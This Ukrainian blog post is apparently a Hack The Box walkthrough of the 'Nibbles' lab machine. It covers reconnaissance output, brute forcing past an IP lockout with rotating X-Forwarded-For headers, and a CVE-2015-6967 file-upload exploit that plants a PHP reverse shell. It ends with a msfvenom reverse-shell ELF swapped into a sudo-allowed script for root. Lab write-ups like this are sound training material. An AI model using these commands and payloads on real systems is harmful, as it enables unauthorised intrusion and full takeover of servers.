Друкарня від WE.UA

Проходження Hack The Box | Nibbles

Nibbles - Linux машина легкого рівня. По правді кажучи, ця машина викликала багато прикрих почуттів. Той момент, коли витрачаєш купу часу на розв'язання задачі, а потім виявляється, що ти зовсім не у той бік думав і просто бився об стіну. Але давайте по черзі.


Розвідка

Як завжди, починаємо з autorecon:

$ autorecon x.x.x.x --single-target --no-port-dirs

Результат Nmap:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)

Перебір по файлах і директоріях на цьому етапі результатів не дав.

Зайшовши на вебпортал, знаходимо наступну підказку у джерелі вебсторінки:

<b>Hello world!</b>

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Тепер спробуємо повторити перебір файлів по директорії nibbleblog:

$ feroxbuster -u http://x.x.x.x:80/nibbleblog/ -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php" -v -k -n -e -r
                                                                                                               
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://x.x.x.x:80/nibbleblog/
 🚀  Threads               │ 10
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [txt, html, php]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 📍  Follow Redirects      │ true
 🔈  Verbosity             │ 1
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       11l       13w      402c http://x.x.x.x/nibbleblog/sitemap.php
200      GET       61l      168w     2987c http://x.x.x.x/nibbleblog/index.php
200      GET       18l       82w     1354c http://x.x.x.x/nibbleblog/content/
200      GET       61l      168w     2987c http://x.x.x.x/nibbleblog/
200      GET        8l       15w      302c http://x.x.x.x/nibbleblog/feed.php
200      GET       20l      104w     1742c http://x.x.x.x/nibbleblog/themes/
200      GET       22l      126w     2128c http://x.x.x.x/nibbleblog/admin/
200      GET       27l       96w     1401c http://x.x.x.x/nibbleblog/admin.php
200      GET       30l      214w     3778c http://x.x.x.x/nibbleblog/plugins/
200      GET       88l      174w     1622c http://x.x.x.x/nibbleblog/update.php
200      GET        1l       11w       78c http://x.x.x.x/nibbleblog/install.php
200      GET      146l     1032w    82541c http://x.x.x.x/nibbleblog/admin/templates/easy4/css/img/grey.png
200      GET       63l      643w     4628c http://x.x.x.x/nibbleblog/README
200      GET      288l     1810w    18341c http://x.x.x.x/nibbleblog/languages/es_ES.bit
200      GET      288l      921w    16627c http://x.x.x.x/nibbleblog/languages/zh_TW.bit
200      GET      288l     1748w    17998c http://x.x.x.x/nibbleblog/languages/pt_PT.bit
200      GET      288l     1797w    18351c http://x.x.x.x/nibbleblog/languages/it_IT.bit
200      GET      288l     1645w    18190c http://x.x.x.x/nibbleblog/languages/pl_PL.bit
200      GET      288l      905w    16495c http://x.x.x.x/nibbleblog/languages/zh_CN.bit
200      GET      287l     1754w    17569c http://x.x.x.x/nibbleblog/languages/nl_NL.bit
200      GET      305l     1646w    25081c http://x.x.x.x/nibbleblog/languages/ru_RU.bit
200      GET      288l     1942w    19170c http://x.x.x.x/nibbleblog/languages/fr_FR.bit
200      GET      288l     1575w    17763c http://x.x.x.x/nibbleblog/languages/de_DE.bit
200      GET      326l     1740w    17135c http://x.x.x.x/nibbleblog/languages/en_US.bit
200      GET      288l     2061w    18787c http://x.x.x.x/nibbleblog/languages/vi_VI.bit
200      GET       27l      181w     3168c http://x.x.x.x/nibbleblog/languages/
200      GET      675l     5644w    35148c http://x.x.x.x/nibbleblog/LICENSE.txt
200      GET       26l      187w     1272c http://x.x.x.x/nibbleblog/COPYRIGHT.txt

Передивившись знайдені файли, ми здобуваємо наступну інформацію:

  • у системі є користувач admin

<notification_email_to type="string">[email protected]</notification_email_to>
  • версія CMS - Nibbleblog 4.0.3

http://x.x.x.x/nibbleblog/update.php
  • ../nibbleblog/admin.php - форма логіну, залишилось знайти пароль

Перед тим, як займатись пошуком пароля, спробуємо знайти у мережі можливі вразливості для даної CMS. Без зайвих вагань знаходимо вразливість - довільне завантаження файлів, до якої навіть є готовий Metasploit модуль.

CVE-2015-6967 - Вразливість необмеженого завантаження файлів у плагіні My Image у Nibbleblog <4.0.5 дозволяє віддаленим користувачам виконувати довільний код шляхом завантаження виконуваного файлу randomname.php і виконання прямого запиту до content/private/plugins/my_image/image.php.

Для експлуатації цієї вразливості нам потрібно бути автентифікованими у системі, тож спробуємо знайти пароль для користувача admin. Тут починається найвеселіше. Почавши перебір, бачимо що у системі імплементований механізм blacklisting - після 5-ї спроби вводу невірного паролю система блокує запити з нашої IP - адреси. Обійти цей механізм допомогло використання X-Forwarded-For з унікальною адресою для кожного запиту. У мене не вистачило клепки зробити це через hydra, тож довелось спробувати через кастомізований скрипт у Turbo Intruder, працює доволі швидко, тож втрата по часу невелика. Витративши на всі операції з налаштування і перебору близько 30 хвилин, стало очевидно, що тут щось не те. Фрустрація досягла того рівня, коли треба дивитись підказку :) Паролем для користувача виявилась назва цієї машини… Буває. Нотатка на майбутнє: пробувати не тільки дефолтні паролі штибу admin\123456\etc, а ще й назви, пов’язані з конкретним програмним забезпеченням, встановленим на машині.


Первинне проникнення

Тепер у нас є ім’я та пароль користувача. Для експлуатації вразливості можна використати згаданий вище модуль для Metasploit, але ми використаємо оцей скрипт. У якості payload можна використати php-reverse-shell.php. Не забудьмо налаштувати netcat у режим прослуховування порту і запускаємо скрипт:

$ python3 exploit.py --url http://x.x.x.x/nibbleblog/ --username admin --password hehehe --payload php-reverse-shell.php

[+] Login Successful.
[+] Upload likely successfull.

Отримуємо з’єднання:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 42390
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 13:00:50 up 8 min,  0 users,  load average: 0.01, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

Підвищення привілеїв

Переглянемо список команд, які користувач nibbler може виконувати з правами супер користувача:

$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Оглянувши домашню директорію користувача nibbler знаходимо personal.zip архів, розархівувавши який знаходимо файл зазначений у виводі команди вище. У нас є права на запис для цього файлу, тож ми просто можемо переписати його, замінивши на файл з reverse shell:

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=y.y.y.y LPORT=4545 -f elf -o monitor.sh

Запускаємо наш файл використовуючи sudo:

$ sudo /home/nibbler/personal/stuff/monitor.sh

Отримуємо з’єднання як root:

$ nc -lvnp 4545
listening on [any] 4545 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 35198
python3 -c 'import pty;pty.spawn("/bin/bash");' 
root@Nibbles:/home/nibbler/personal/stuff# cd /root
root@Nibbles:/root# ls -la
total 32
drwx------  4 root root 4096 Jul  3 12:52 .
drwxr-xr-x 23 root root 4096 Dec 15  2020 ..
-rw-------  1 root root    0 Dec 29  2017 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Dec 10  2017 .cache
drwxr-xr-x  2 root root 4096 Dec 10  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root 1091 Dec 15  2020 .viminfo
-r--------  1 root root   33 Jul  3 12:52 root.txt

По можливості, завжди корисно подивитись розбір від профі.

Легенда

Статті про вітчизняний бізнес та цікавих людей:

  • Вітаємо з Різдвом Христовим!

    Друкарня та платформа WE.UA вітають всіх наших читачів та авторів зі світлим святом Різдва! Зичимо всім українцям довгожданого миру, міцного здоровʼя, злагоди, родинного затишку та втілення всього доброго і прекрасного, чого вам побажали колядники!

    Теми цього довгочиту:

    Різдво
  • Каблучки – прикраси, які варто купувати

    Ювелірні вироби – це не тільки спосіб витратити гроші, але і зробити вигідні інвестиції. Бо вартість ювелірних виробів з кожним роком тільки зростає. Тому купуючи стильні прикраси, ви вигідно вкладаєте кошти.

    Теми цього довгочиту:

    Як Вибрати Каблучку
  • П'ять помилок у виборі домашнього текстилю, які псують комфорт сну

    Навіть ідеальний матрац не компенсує дискомфорт, якщо текстиль підібрано неправильно. Постільна білизна безпосередньо впливає на терморегуляцію, стан шкіри та глибину сну. Більшість проблем виникає не через низьку якість виробів, а через вибір матеріалів та подальшу експлуатацію

    Теми цього довгочиту:

    Домашній Текстиль
  • Як знайти житло в Києві

    Переїжджаєте до Києва і шукаєте житло? Дізнайтеся, як орендувати чи купити квартиру, перевірити власника та знайти варіанти, про які зазвичай не говорять.

    Теми цього довгочиту:

    Агентство Нерухомості
  • Як заохотити дитину до читання?

    Як залучити до читання сучасну молодь - поради та факти. Користь читання для дітей - основні переваги. Розвиток дітей - це наше майбутнє.

    Теми цього довгочиту:

    Читання
Поділись своїми ідеями в новій публікації.
Ми чекаємо саме на твій довгочит!
hexa
hexa@hexa

Cyber-дилетант

67Прочитань
4Автори
1Читачі
На Друкарні з 15 червня

Більше від автора

  • Проходження Hack The Box | Blocky

    Blocky - Linux машина легкого рівня. Якщо провести ретроспективу, то шлях від розвідки до отримання прав root користувача доволі простий, але те, що на машині є певна кількість кролячих нір, зробило її цікавою ціллю для практики.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Antique

    Antique - Linux машина легкого рівня. Доволі цікавий шлях первинного проникнення до системи. Гарна можливість познайомитись з роботою протоколу SNMP.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Return

    Return - Windows машина легкого рівня. З небагатьох машин, які мені довелось пройти на цей час - це машина з найлегшим первинним проникненням до системи. Це саме той випадок, коли складність дійсно відповідає Easy.

    Теми цього довгочиту:

    Htb

Це також може зацікавити:

Коментарі (0)

Підтримайте автора першим.
Напишіть коментар!

Це також може зацікавити: